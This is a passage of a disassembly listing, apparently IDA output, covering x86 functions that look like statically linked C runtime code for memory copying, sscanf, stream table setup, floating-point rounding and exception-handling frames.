loc_418A5C: ; DATA XREF: sub_4187B0+280o
mov eax, [esi+ecx*4+10h]
mov [edi+ecx*4+10h], eax
loc_418A64: ; DATA XREF: sub_4187B0+284o
mov eax, [esi+ecx*4+0Ch]
mov [edi+ecx*4+0Ch], eax
loc_418A6C: ; DATA XREF: sub_4187B0+288o
mov eax, [esi+ecx*4+8]
mov [edi+ecx*4+8], eax
loc_418A74: ; DATA XREF: sub_4187B0+28Co
mov eax, [esi+ecx*4+4]
mov [edi+ecx*4+4], eax
lea eax, ds:0[ecx*4]
add esi, eax
add edi, eax
loc_418A87: ; CODE XREF: sub_4187B0+1C2j
; DATA XREF: sub_4187B0:off_418A40o
jmp off_418A90[edx*4]
; ---------------------------------------------------------------------------
align 10h
off_418A90 dd offset loc_418AA0 ; DATA XREF: sub_4187B0+1B7r
; sub_4187B0:loc_418994r ...
dd offset loc_418AA8
dd offset loc_418AB8
dd offset loc_418ACC
; ---------------------------------------------------------------------------
loc_418AA0: ; CODE XREF: sub_4187B0+1B7j
; sub_4187B0:loc_418994j ...
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_418AA8: ; CODE XREF: sub_4187B0+1B7j
; sub_4187B0:loc_418994j ...
mov al, [esi+3]
mov [edi+3], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_418AB8: ; CODE XREF: sub_4187B0+1B7j
; sub_4187B0:loc_418994j ...
mov al, [esi+3]
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_418ACC: ; CODE XREF: sub_4187B0+1B7j
; sub_4187B0:loc_418994j ...
mov al, [esi+3]
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov al, [esi+1]
mov [edi+1], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
sub_4187B0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418AF0 proc near ; CODE XREF: sub_409BC6+40p
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = byte ptr -20h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
push ebp
mov ebp, esp
sub esp, 2Ch
push ebx
push esi
push edi
lea eax, [ebp+var_20]
mov [ebp+var_24], eax
lea ecx, [ebp+arg_8]
mov [ebp+var_2C], ecx
loc_418B05: ; CODE XREF: sub_418AF0+3Dj
cmp [ebp+arg_0], 0
jnz short loc_418B29
push offset aStringNull ; "string != NULL"
push 0
push 42h
push offset aSscanf_c ; "sscanf.c"
push 2
call sub_41AB10
add esp, 14h
cmp eax, 1
jnz short loc_418B29
int 3 ; Trap to Debugger
loc_418B29: ; CODE XREF: sub_418AF0+19j
; sub_418AF0+36j
xor edx, edx
test edx, edx
jnz short loc_418B05
loc_418B2F: ; CODE XREF: sub_418AF0+67j
cmp [ebp+arg_4], 0
jnz short loc_418B53
push offset aFormatNull ; "format != NULL"
push 0
push 43h
push offset aSscanf_c ; "sscanf.c"
push 2
call sub_41AB10
add esp, 14h
cmp eax, 1
jnz short loc_418B53
int 3 ; Trap to Debugger
loc_418B53: ; CODE XREF: sub_418AF0+43j
; sub_418AF0+60j
xor eax, eax
test eax, eax
jnz short loc_418B2F
mov ecx, [ebp+var_24]
mov dword ptr [ecx+0Ch], 49h
mov edx, [ebp+var_24]
mov eax, [ebp+arg_0]
mov [edx+8], eax
mov ecx, [ebp+var_24]
mov edx, [ebp+arg_0]
mov [ecx], edx
mov eax, [ebp+arg_0]
push eax
call sub_414BE0
add esp, 4
mov ecx, [ebp+var_24]
mov [ecx+4], eax
mov edx, [ebp+var_2C]
push edx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_24]
push ecx
call sub_420920
add esp, 0Ch
mov [ebp+var_28], eax
mov eax, [ebp+var_28]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_418AF0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418BB0 proc near ; CODE XREF: sub_40AF1B+1CCp
var_D8 = dword ptr -0D8h
var_D4 = dword ptr -0D4h
var_D0 = byte ptr -0D0h
var_36 = dword ptr -36h
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_A = dword ptr -0Ah
var_6 = dword ptr -6
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0D8h
lea eax, [ebp+var_24]
push eax
nop
call near ptr 27B0186h
lea ecx, [ebp+var_10]
push ecx
nop
call near ptr 2840000h
mov edx, [ebp+var_6]
and edx, 0FFFFh
xor eax, eax
mov ax, word ptr dword_4DB108+2
cmp edx, eax
jnz short loc_418C48
mov ecx, [ebp-8]
and ecx, 0FFFFh
xor edx, edx
mov dx, word ptr dword_4DB108
cmp ecx, edx
jnz short loc_418C48
mov eax, [ebp+var_A]
and eax, 0FFFFh
xor ecx, ecx
mov cx, word_4DB106
cmp eax, ecx
jnz short loc_418C48
mov edx, [ebp+var_10+2]
and edx, 0FFFFh
xor eax, eax
mov ax, word ptr dword_4DB100+2
cmp edx, eax
jnz short loc_418C48
mov ecx, [ebp+var_10]
and ecx, 0FFFFh
xor edx, edx
mov dx, word ptr dword_4DB100
cmp ecx, edx
jnz short loc_418C48
mov eax, dword_4DB0F8
mov [ebp+var_D8], eax
jmp loc_418CD0
; ---------------------------------------------------------------------------
loc_418C48: ; CODE XREF: sub_418BB0+30j
; sub_418BB0+46j ...
lea ecx, [ebp+var_D0]
push ecx
nop
call near ptr 283011Ch
mov [ebp+var_D4], eax
cmp [ebp+var_D4], 0FFFFFFFFh
jz short loc_418C98
cmp [ebp+var_D4], 2
jnz short loc_418C8C
mov edx, [ebp+var_36]
and edx, 0FFFFh
test edx, edx
jz short loc_418C8C
cmp [ebp+var_28], 0
jz short loc_418C8C
mov [ebp+var_D8], 1
jmp short loc_418C96
; ---------------------------------------------------------------------------
loc_418C8C: ; CODE XREF: sub_418BB0+BBj
; sub_418BB0+C8j ...
mov [ebp+var_D8], 0
loc_418C96: ; CODE XREF: sub_418BB0+DAj
jmp short loc_418CA2
; ---------------------------------------------------------------------------
loc_418C98: ; CODE XREF: sub_418BB0+B2j
mov [ebp+var_D8], 0FFFFFFFFh
loc_418CA2: ; CODE XREF: sub_418BB0:loc_418C96j
mov eax, [ebp+var_D8]
mov dword_4DB0F8, eax
mov ecx, [ebp+var_10]
mov dword_4DB100, ecx
mov edx, [ebp-0Ch]
mov dword ptr byte_4DB104, edx
mov eax, [ebp+var_A+2]
mov dword_4DB108, eax
mov ecx, [ebp+var_6+2]
mov dword_4DB10C, ecx
loc_418CD0: ; CODE XREF: sub_418BB0+93j
mov edx, [ebp+var_D8]
push edx
mov eax, [ebp+var_18]
and eax, 0FFFFh
push eax
mov ecx, [ebp-1Ah]
and ecx, 0FFFFh
push ecx
mov edx, [ebp+var_1C]
and edx, 0FFFFh
push edx
mov eax, [ebp-1Eh]
and eax, 0FFFFh
push eax
mov ecx, [ebp+var_24+2]
and ecx, 0FFFFh
push ecx
mov edx, [ebp+var_24]
and edx, 0FFFFh
push edx
call sub_421E20
add esp, 1Ch
mov [ebp+var_14], eax
cmp [ebp+arg_0], 0
jz short loc_418D2A
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_14]
mov [eax], ecx
loc_418D2A: ; CODE XREF: sub_418BB0+170j
mov eax, [ebp+var_14]
mov esp, ebp
pop ebp
retn
sub_418BB0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418D40 proc near ; DATA XREF: ___:00436018o
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
cmp dword_4DC7C0, 0
jnz short loc_418D59
mov dword_4DC7C0, 200h
jmp short loc_418D6C
; ---------------------------------------------------------------------------
loc_418D59: ; CODE XREF: sub_418D40+Bj
cmp dword_4DC7C0, 14h
jge short loc_418D6C
mov dword_4DC7C0, 14h
loc_418D6C: ; CODE XREF: sub_418D40+17j
; sub_418D40+20j
push 83h
push offset a_file_c ; "_file.c"
push 2
push 4
mov eax, dword_4DC7C0
push eax
call sub_4151E0
add esp, 14h
mov dword_4DB7AC, eax
cmp dword_4DB7AC, 0
jnz short loc_418DD5
mov dword_4DC7C0, 14h
push 86h
push offset a_file_c ; "_file.c"
push 2
push 4
mov ecx, dword_4DC7C0
push ecx
call sub_4151E0
add esp, 14h
mov dword_4DB7AC, eax
cmp dword_4DB7AC, 0
jnz short loc_418DD5
push 1Ah
call sub_41A9A0
add esp, 4
loc_418DD5: ; CODE XREF: sub_418D40+54j
; sub_418D40+89j
mov [ebp+var_4], 0
jmp short loc_418DE7
; ---------------------------------------------------------------------------
loc_418DDE: ; CODE XREF: sub_418D40+C4j
mov edx, [ebp+var_4]
add edx, 1
mov [ebp+var_4], edx
loc_418DE7: ; CODE XREF: sub_418D40+9Cj
cmp [ebp+var_4], 14h
jge short loc_418E06
mov eax, [ebp+var_4]
shl eax, 5
add eax, offset off_4438C0
mov ecx, [ebp+var_4]
mov edx, dword_4DB7AC
mov [edx+ecx*4], eax
jmp short loc_418DDE
; ---------------------------------------------------------------------------
loc_418E06: ; CODE XREF: sub_418D40+ABj
mov [ebp+var_4], 0
jmp short loc_418E18
; ---------------------------------------------------------------------------
loc_418E0F: ; CODE XREF: sub_418D40:loc_418E66j
mov eax, [ebp+var_4]
add eax, 1
mov [ebp+var_4], eax
loc_418E18: ; CODE XREF: sub_418D40+CDj
cmp [ebp+var_4], 3
jge short loc_418E68
mov ecx, [ebp+var_4]
sar ecx, 5
mov edx, [ebp+var_4]
and edx, 1Fh
imul edx, 24h
mov eax, dword_4DB460[ecx*4]
cmp dword ptr [eax+edx], 0FFFFFFFFh
jz short loc_418E56
mov ecx, [ebp+var_4]
sar ecx, 5
mov edx, [ebp+var_4]
and edx, 1Fh
imul edx, 24h
mov eax, dword_4DB460[ecx*4]
cmp dword ptr [eax+edx], 0
jnz short loc_418E66
loc_418E56: ; CODE XREF: sub_418D40+F8j
mov ecx, [ebp+var_4]
shl ecx, 5
mov dword_4438D0[ecx], 0FFFFFFFFh
loc_418E66: ; CODE XREF: sub_418D40+114j
jmp short loc_418E0F
; ---------------------------------------------------------------------------
loc_418E68: ; CODE XREF: sub_418D40+DCj
mov esp, ebp
pop ebp
retn
sub_418D40 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418E70 proc near ; DATA XREF: ___:00436030o
push ebp
mov ebp, esp
call sub_41B4E0
movsx eax, byte_4DB0E4
test eax, eax
jz short loc_418E88
call sub_4222E0
loc_418E88: ; CODE XREF: sub_418E70+11j
pop ebp
retn
sub_418E70 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418E90 proc near ; CODE XREF: sub_414C60+55p
; sub_416D40+8p ...
arg_0 = dword ptr 8
push ebp
mov ebp, esp
cmp [ebp+arg_0], offset off_4438C0
jb short loc_418EBE
cmp [ebp+arg_0], offset dword_443B20
ja short loc_418EBE
mov eax, [ebp+arg_0]
sub eax, offset off_4438C0
sar eax, 5
add eax, 1Ch
push eax
call sub_41B780
add esp, 4
jmp short loc_418ECB
; ---------------------------------------------------------------------------
loc_418EBE: ; CODE XREF: sub_418E90+Aj
; sub_418E90+13j
mov ecx, [ebp+arg_0]
add ecx, 20h
push ecx
nop
call near ptr 77F7E21Fh
loc_418ECB: ; CODE XREF: sub_418E90+2Cj
pop ebp
retn
sub_418E90 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418ED0 proc near ; CODE XREF: sub_41B4F0+7Ep
; sub_41E5B0+6Fp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
cmp [ebp+arg_0], 14h
jge short loc_418EEA
mov eax, [ebp+arg_0]
add eax, 1Ch
push eax
call sub_41B780
add esp, 4
jmp short loc_418EF7
; ---------------------------------------------------------------------------
loc_418EEA: ; CODE XREF: sub_418ED0+7j
mov ecx, [ebp+arg_4]
add ecx, 20h
push ecx
call near ptr 77F7E21Fh
nop
loc_418EF7: ; CODE XREF: sub_418ED0+18j
pop ebp
retn
sub_418ED0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418F00 proc near ; CODE XREF: sub_414C60+70p
; sub_416D40+2Fp ...
arg_0 = dword ptr 8
push ebp
mov ebp, esp
cmp [ebp+arg_0], offset off_4438C0
jb short loc_418F2E
cmp [ebp+arg_0], offset dword_443B20
ja short loc_418F2E
mov eax, [ebp+arg_0]
sub eax, offset off_4438C0
sar eax, 5
add eax, 1Ch
push eax
call sub_41B820
add esp, 4
jmp short loc_418F3B
; ---------------------------------------------------------------------------
loc_418F2E: ; CODE XREF: sub_418F00+Aj
; sub_418F00+13j
mov ecx, [ebp+arg_0]
add ecx, 20h
push ecx
nop
call near ptr 77F7E300h
loc_418F3B: ; CODE XREF: sub_418F00+2Cj
pop ebp
retn
sub_418F00 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418F40 proc near ; CODE XREF: sub_41B4F0+116p
; sub_41E5B0+A0p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
cmp [ebp+arg_0], 14h
jge short loc_418F5A
mov eax, [ebp+arg_0]
add eax, 1Ch
push eax
call sub_41B820
add esp, 4
jmp short loc_418F67
; ---------------------------------------------------------------------------
loc_418F5A: ; CODE XREF: sub_418F40+7j
mov ecx, [ebp+arg_4]
add ecx, 20h
push ecx
call near ptr 77F7E300h
nop
loc_418F67: ; CODE XREF: sub_418F40+18j
pop ebp
retn
sub_418F40 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_418F70(double)
sub_418F70 proc near ; CODE XREF: sub_40B8F7+38p
var_1C = qword ptr -1Ch
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = qword ptr -8
arg_0 = qword ptr 8
push ebp
mov ebp, esp
sub esp, 10h
push 0FFFFh
mov eax, dword_443B40
push eax
call sub_423320
add esp, 8
mov [ebp+var_C], eax
mov ecx, dword ptr [ebp+arg_0+6]
and ecx, 0FFFFh
and ecx, 7FF0h
cmp ecx, 7FF0h
jnz loc_41902B
mov edx, dword ptr [ebp+arg_0+4]
push edx
mov eax, dword ptr [ebp+arg_0]
push eax
call sub_423120
add esp, 8
mov [ebp+var_10], eax
cmp [ebp+var_10], 0
jle short loc_419002
cmp [ebp+var_10], 2
jle short loc_418FCE
cmp [ebp+var_10], 3
jz short loc_418FE7
jmp short loc_419002
; ---------------------------------------------------------------------------
loc_418FCE: ; CODE XREF: sub_418F70+54j
push 0FFFFh
mov ecx, [ebp+var_C]
push ecx
call sub_423320
add esp, 8
fld [ebp+arg_0]
jmp loc_4190A1
; ---------------------------------------------------------------------------
loc_418FE7: ; CODE XREF: sub_418F70+5Aj
mov edx, [ebp+var_C]
push edx ; int
mov eax, dword ptr [ebp+arg_0+4]
push eax
mov ecx, dword ptr [ebp+arg_0]
push ecx ; double
push 0Bh ; int
call sub_4223E0
add esp, 10h
jmp loc_4190A1
; ---------------------------------------------------------------------------
loc_419002: ; CODE XREF: sub_418F70+4Ej
; sub_418F70+5Cj
mov edx, [ebp+var_C]
push edx ; int
fld [ebp+arg_0]
fadd dbl_433CA0
sub esp, 8
fstp [esp+1Ch+var_1C]
mov eax, dword ptr [ebp+arg_0+4]
push eax ; int
mov ecx, dword ptr [ebp+arg_0]
push ecx ; int
push 0Bh ; int
push 8 ; int
call sub_4224B0
add esp, 1Ch
jmp short loc_4190A1
; ---------------------------------------------------------------------------
loc_41902B: ; CODE XREF: sub_418F70+31j
mov edx, dword ptr [ebp+arg_0+4]
push edx
mov eax, dword ptr [ebp+arg_0]
push eax ; double
call sub_4223C0
add esp, 8
fstp [ebp+var_8]
fld [ebp+var_8]
fcomp [ebp+arg_0]
fnstsw ax
test ah, 40h
jz short loc_419061
push 0FFFFh
mov ecx, [ebp+var_C]
push ecx
call sub_423320
add esp, 8
fld [ebp+var_8]
jmp short loc_4190A1
; ---------------------------------------------------------------------------
loc_419061: ; CODE XREF: sub_418F70+D9j
mov edx, [ebp+var_C]
and edx, 20h
test edx, edx
jz short loc_419081
push 0FFFFh
mov eax, [ebp+var_C]
push eax
call sub_423320
add esp, 8
fld [ebp+var_8]
jmp short loc_4190A1
; ---------------------------------------------------------------------------
loc_419081: ; CODE XREF: sub_418F70+F9j
mov ecx, [ebp+var_C]
push ecx ; int
mov edx, dword ptr [ebp+var_8+4]
push edx
mov eax, dword ptr [ebp+var_8]
push eax ; double
mov ecx, dword ptr [ebp+arg_0+4]
push ecx ; int
mov edx, dword ptr [ebp+arg_0]
push edx ; int
push 0Bh ; int
push 10h ; int
call sub_4224B0
add esp, 1Ch
loc_4190A1: ; CODE XREF: sub_418F70+72j
; sub_418F70+8Dj ...
mov esp, ebp
pop ebp
retn
sub_418F70 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4190B0 proc near ; CODE XREF: ___:0041790Cp
; DATA XREF: ___:off_443B4Co
push ebp
mov ebp, esp
push ebx
push esi
push edi
call sub_4190F0
call sub_423460
mov dword_4DB118, eax
call sub_4233E0
fnclex
pop edi
pop esi
pop ebx
pop ebp
retn
sub_4190B0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4190E0 proc near ; DATA XREF: ___:00443B50o
; ___:00443B54o
push ebp
mov ebp, esp
pop ebp
retn
sub_4190E0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4190F0 proc near ; CODE XREF: sub_4190B0+6p
push ebp
mov ebp, esp
mov off_444248, offset sub_423B50
mov off_44424C, offset sub_423560
mov off_444250, offset sub_423670
mov off_444254, offset sub_4234B0
mov off_444258, offset sub_423640
mov off_44425C, offset sub_423B50
pop ebp
retn
sub_4190F0 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
mov eax, dword_4DB114
mov [ebp-4], eax
mov ecx, [ebp+8]
mov dword_4DB114, ecx
mov eax, [ebp-4]
mov esp, ebp
pop ebp
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41915C proc near ; CODE XREF: sub_40B8F7+1Bp
; sub_40B8F7+44p ...
var_C = qword ptr -0Ch
var_4 = word ptr -4
var_2 = word ptr -2
push ebp
mov ebp, esp
add esp, 0FFFFFFF4h
fstcw [ebp+var_2]
wait
mov ax, [ebp+var_2]
or ah, 0Ch
mov [ebp+var_4], ax
fldcw [ebp+var_4]
fistp [ebp+var_C]
fldcw [ebp+var_2]
mov eax, dword ptr [ebp+var_C]
mov edx, dword ptr [ebp+var_C+4]
leave
retn
sub_41915C endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_419190(double)
sub_419190 proc near ; CODE XREF: sub_40B943+79p
var_1C = qword ptr -1Ch
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = qword ptr -8
arg_0 = qword ptr 8
push ebp
mov ebp, esp
sub esp, 10h
push 0FFFFh
mov eax, dword_443B58
push eax
call sub_423320
add esp, 8
mov [ebp+var_C], eax
mov ecx, dword ptr [ebp+arg_0+6]
and ecx, 0FFFFh
and ecx, 7FF0h
cmp ecx, 7FF0h
jnz loc_41924B
mov edx, dword ptr [ebp+arg_0+4]
push edx
mov eax, dword ptr [ebp+arg_0]
push eax
call sub_423120
add esp, 8
mov [ebp+var_10], eax
cmp [ebp+var_10], 0
jle short loc_419222
cmp [ebp+var_10], 2
jle short loc_4191EE
cmp [ebp+var_10], 3
jz short loc_419207
jmp short loc_419222
; ---------------------------------------------------------------------------
loc_4191EE: ; CODE XREF: sub_419190+54j
push 0FFFFh
mov ecx, [ebp+var_C]
push ecx
call sub_423320
add esp, 8
fld [ebp+arg_0]
jmp loc_4192C1
; ---------------------------------------------------------------------------
loc_419207: ; CODE XREF: sub_419190+5Aj
mov edx, [ebp+var_C]
push edx ; int
mov eax, dword ptr [ebp+arg_0+4]
push eax
mov ecx, dword ptr [ebp+arg_0]
push ecx ; double
push 0Ch ; int
call sub_4223E0
add esp, 10h
jmp loc_4192C1
; ---------------------------------------------------------------------------
loc_419222: ; CODE XREF: sub_419190+4Ej
; sub_419190+5Cj
mov edx, [ebp+var_C]
push edx ; int
fld [ebp+arg_0]
fadd dbl_433CA0
sub esp, 8
fstp [esp+1Ch+var_1C]
mov eax, dword ptr [ebp+arg_0+4]
push eax ; int
mov ecx, dword ptr [ebp+arg_0]
push ecx ; int
push 0Ch ; int
push 8 ; int
call sub_4224B0
add esp, 1Ch
jmp short loc_4192C1
; ---------------------------------------------------------------------------
loc_41924B: ; CODE XREF: sub_419190+31j
mov edx, dword ptr [ebp+arg_0+4]
push edx
mov eax, dword ptr [ebp+arg_0]
push eax ; double
call sub_4223C0
add esp, 8
fstp [ebp+var_8]
fld [ebp+var_8]
fcomp [ebp+arg_0]
fnstsw ax
test ah, 40h
jz short loc_419281
push 0FFFFh
mov ecx, [ebp+var_C]
push ecx
call sub_423320
add esp, 8
fld [ebp+var_8]
jmp short loc_4192C1
; ---------------------------------------------------------------------------
loc_419281: ; CODE XREF: sub_419190+D9j
mov edx, [ebp+var_C]
and edx, 20h
test edx, edx
jz short loc_4192A1
push 0FFFFh
mov eax, [ebp+var_C]
push eax
call sub_423320
add esp, 8
fld [ebp+var_8]
jmp short loc_4192C1
; ---------------------------------------------------------------------------
loc_4192A1: ; CODE XREF: sub_419190+F9j
mov ecx, [ebp+var_C]
push ecx ; int
mov edx, dword ptr [ebp+var_8+4]
push edx
mov eax, dword ptr [ebp+var_8]
push eax ; double
mov ecx, dword ptr [ebp+arg_0+4]
push ecx ; int
mov edx, dword ptr [ebp+arg_0]
push edx ; int
push 0Ch ; int
push 10h ; int
call sub_4224B0
add esp, 1Ch
loc_4192C1: ; CODE XREF: sub_419190+72j
; sub_419190+8Dj ...
mov esp, ebp
pop ebp
retn
sub_419190 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4192D0 proc near ; CODE XREF: sub_424280+AEp
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov eax, [ebp+arg_4]
add eax, 0Ch
mov [ebp+var_4], eax
mov ebx, large fs:0
mov eax, [ebx]
mov large fs:0, eax
mov eax, [ebp+arg_0]
mov ebx, [ebp+arg_4]
mov esp, [ebx-4]
mov ebp, [ebp+var_4]
jmp eax
sub_4192D0 endp
; ---------------------------------------------------------------------------
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn 8
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_419310 proc near ; CODE XREF: sub_424760+50p
arg_4 = dword ptr 8
pop eax
pop ecx
xchg eax, [esp-8+arg_4]
jmp eax
sub_419310 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_419320 proc near ; CODE XREF: sub_4244E0+247p
arg_4 = dword ptr 8
pop eax
pop ecx
xchg eax, [esp-8+arg_4]
jmp eax
sub_419320 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_419330 proc near ; CODE XREF: sub_4244E0+21Ep
arg_4 = dword ptr 8
pop eax
pop ecx
xchg eax, [esp-8+arg_4]
jmp eax
sub_419330 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn bp-based frame
sub_419340 proc near ; CODE XREF: sub_419590+66p
; sub_424280+38p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
mov eax, large fs:0
mov [ebp+var_8], eax
mov [ebp+var_4], offset loc_41936C
push 0
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_4]
push ecx
mov edx, [ebp+arg_0]
push edx
call sub_431B70
sub_419340 endp
; ---------------------------------------------------------------------------
loc_41936C: ; DATA XREF: sub_419340+12o
mov eax, [ebp+0Ch]
mov ecx, [eax+4]
and ecx, 0FFFFFFFDh
mov edx, [ebp+0Ch]
mov [edx+4], ecx
mov eax, large fs:0
mov ebx, [ebp-8]
mov [ebx], eax
mov large fs:0, ebx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn 8
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4193A0 proc near ; CODE XREF: ___:004320C4j
; ___:004320DEj ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
cld
mov [ebp+var_8], eax
push 0
push 0
push 0
mov eax, [ebp+var_8]
push eax
mov ecx, [ebp+arg_C]
push ecx
mov edx, [ebp+arg_8]
push edx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_423BE0
add esp, 20h
mov [ebp+var_4], eax
pop edi
pop esi
pop ebx
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn
sub_4193A0 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
mov eax, [ebp+8]
mov ecx, [eax+1Ch]
push ecx
mov edx, [ebp+8]
mov eax, [edx+28h]
push eax
push 0
mov ecx, [ebp+8]
mov edx, [ecx+18h]
push edx
call sub_424150
add esp, 10h
pop ebp
retn 4
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419410 proc near ; CODE XREF: sub_424340+8Ap
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 18h
push ebx
push esi
push edi
mov [ebp+var_14], 0
mov [ebp+var_10], offset sub_419480
mov eax, [ebp+arg_4]
mov [ebp+var_C], eax
mov ecx, [ebp+arg_0]
mov [ebp+var_8], ecx
mov edx, [ebp+arg_C]
add edx, 1
mov [ebp+var_4], edx
mov eax, large fs:0
mov [ebp+var_14], eax
lea eax, [ebp+var_14]
mov large fs:0, eax
mov eax, [ebp+arg_10]
push eax
mov ecx, [ebp+arg_0]
push ecx
mov edx, [ebp+arg_8]
push edx
call sub_424840
mov [ebp+var_18], eax
mov eax, [ebp+var_14]
mov large fs:0, eax
mov eax, [ebp+var_18]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_419410 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419480 proc near ; DATA XREF: sub_419410+10o
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ebx
push esi
push edi
cld
push 0
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_4]
mov edx, [ecx+10h]
push edx
mov eax, [ebp+arg_4]
mov ecx, [eax+8]
push ecx
push 0
mov edx, [ebp+arg_8]
push edx
mov eax, [ebp+arg_4]
mov ecx, [eax+0Ch]
push ecx
mov edx, [ebp+arg_0]
push edx
call sub_423BE0
add esp, 20h
pop edi
pop esi
pop ebx
pop ebp
retn
sub_419480 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4194C0 proc near ; CODE XREF: sub_423F70+2Dp
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
sub esp, 34h
push ebx
push esi
push edi
mov [ebp+var_28], 0
mov [ebp+var_24], offset sub_419590
mov eax, [ebp+arg_10]
mov [ebp+var_20], eax
mov ecx, [ebp+arg_4]
mov [ebp+var_1C], ecx
mov edx, [ebp+arg_14]
mov [ebp+var_18], edx
mov eax, [ebp+arg_18]
mov [ebp+var_14], eax
mov [ebp+var_10], 0
mov [ebp+var_C], 0
mov [ebp+var_8], 0
mov [ebp+var_4], 0
mov [ebp+var_10], offset loc_41955C
